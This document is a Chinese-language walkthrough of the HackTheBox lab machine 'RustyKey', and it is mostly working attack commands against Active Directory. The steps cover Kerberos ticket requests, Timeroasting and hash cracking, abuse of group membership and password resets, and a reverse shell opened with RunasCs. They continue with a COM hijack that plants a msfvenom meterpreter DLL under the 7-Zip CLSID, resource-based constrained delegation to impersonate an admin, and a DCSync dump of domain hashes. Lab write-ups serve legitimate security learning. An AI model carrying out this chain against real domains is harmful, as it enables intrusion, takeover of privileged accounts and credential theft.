Information Gathering
用rustscan进行端口服务扫描
bash
sudo rustscan -a 10.10.11.75 -r 1-65535 -- -A -sV -oN result.txt -Pn -max-retries=0

htb主页给了我们凭据,可以使用这个凭据去请求TGT票据

编辑krb5.conf文件
json
[libdefaults]
default_realm = RUSTYKEY.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
forwardable = true
[realms]
RUSTYKEY.HTB = {
kdc = 10.10.11.75
}
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTB

bash
impacket-getTGT rustykey.htb/'rr.parker':'8#t5HE8L!W3A'
export KRB5CCNAME=rr.parker.ccache

导入票据后,使用nxc对用户进行枚举
bash
nxc ldap 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users

我们这里用timeroast对该域的计算机用户进行RID枚举,以下是使用前提
- 目标必须是计算机账户,不能直接针对普通用户账户(除非做"目标Timeroasting"修改属性)。
- 目标域控制器开启并响应带有 Microsoft SNTP 扩展认证(MS-SNTP)的 NTP 服务,UDP 123端口开放。
- 攻击者能向 DC 发送未认证的 MS-SNTP 请求(无需有效凭证)。
- 能枚举域内计算机账户的 RID(相对标识符)。
- (可选)针对"目标Timeroasting",需要域管理员权限,临时修改用户账户属性使其被当作计算机账户处理。
- 域中计算机账户密码未被强力保护(例如弱密码或未定期更换)。

对1125字段的hash进行hashcat破解,这里要使用hashcat的beta版本,可参考这个github链接https://github.com/SecuraBV/Timeroast
bash
./hashcat.bin -a 0 -m 31300 hash.txt /usr/share/wordlists/rockyou.txt
$sntp-ms$e7a25183165f365186449f380a2ebdf4$1c0111e900000000000a4fee4c4f434ceca5695d47d9cc8fe1b8428bffbfcd0aeca5d2bde7d9bd76eca5d2bde7d9d6a0:Rusty88!

使用Bloodhound进行域的信息收集,并导入bloodhound进行分析
bash
bloodhound-python -u 'rr.parker' -p '8#t5HE8L!W3A' -k -d rustykey.htb -ns 10.10.11.75 -c ALl --zip

Bloodhound Analysis
这个密码对应的RID是上面的1125的账户,对应的是IT-CONPUTER3

查看对外权限


AddSelf TO Helpdesk
bash
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!'
export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' add groupMember HELPDESK 'IT-COMPUTER3$'


Change Password & GetTGT (Failed)
bash
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'Abc123456@'
impacket-getTGT rustykey.htb/'bb.morgan':'Abc123456@'

注意到这个PROTECTED OBJECTS组,大概率是因为这个组的限制问题

如果想要获取到bb.morgan的权限,那么首先就要移除保护
Remove IT From Protection
bash
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'IT'

然后修改密码进行登录
bash
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'Abc123456@'
impacket-getTGT rustykey.htb/'bb.morgan':'Abc123456@'
unset KRB5CCNAME
export KRB5CCNAME=bb.morgan.ccache
evil-winrm -i dc.rustykey.htb -u 'bb.morgan' -r rustykey.htb


PDF In DESKTOP

PDF的内容如下

翻译成中文的意思是,SUPPORT组对注册表有修改权限,并且可以测试压缩/解压相关功能

注意到EE.REED用户就位于SUPPORT组中,但是也在PROTECTED OBJECT组里

Remove SUPPORT From Protection
bash
export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password ee.reed 'Abc123456@'

但是登录不上去,这边使用RunasCs进行登录
powershell
.\RunasCS.exe ee.reed Abc123456@ powershell.exe -r 10.10.16.47:6666


COM Hijack
Windows应用程序经常通过CLSID(Class ID)调用COM组件,系统会根据注册表中的配置加载对应的DLL或EXE。攻击者可以: 篡改现有COM组件的注册表项,使其指向恶意DLL。在上面的PDF中给出了可能的信息。
由于提及到了注册表和压缩相关,先检测一下可能存在的CLSID。注意到了这个7-Zip,接下来用msfvenom生成恶意dll
powershell
reg query HKCR\CLSID /s /f "zip"

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f dll -o hack.dll

上传之后修改注册表后,msf会接收到一个shell终端,权限为mm.turner
bash
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\tmp\hack.dll" /f

运行以下的powershell命令
powershell
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$

RBCD
AddAllowedToAct, a write permission on an object's msDS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute, for Kerberos RBCD attacks 攻击者拥有 AddAllowedToAct 权限时,可以给自己或受控账户添加委派权限,从而执行身份冒充攻击(S4U2self/S4U2proxy)。 因此可以在接收到meterpreter的时候给IT-COMPUTER$3设置冒充DC,然后进行RBCD攻击
bash
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
unset KRB5CCNAME
export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache

现在已经成功通过 Kerberos 委派(S4U) 拿到了 backupadmin 的访问票据,可以理解为"临时借用权限"。然后走wmiexec拿到shell
bash
impacket-wmiexec -k -no-pass 'rustykey.htb/backupadmin@dc.rustykey.htb'

DCsync
可以拿到administrator的哈希
bash
impacket-secretsdump -k -no-pass 'rustykey.htb/backupadmin@dc.rustykey.htb'

然后还是得请求票据来进行认证
bash
impacket-getTGT rustykey.htb/'Administrator' -hashes ":<hidden>"
evil-winrm -i dc.rustykey.htb -u 'Administrator' -r rustykey.htb
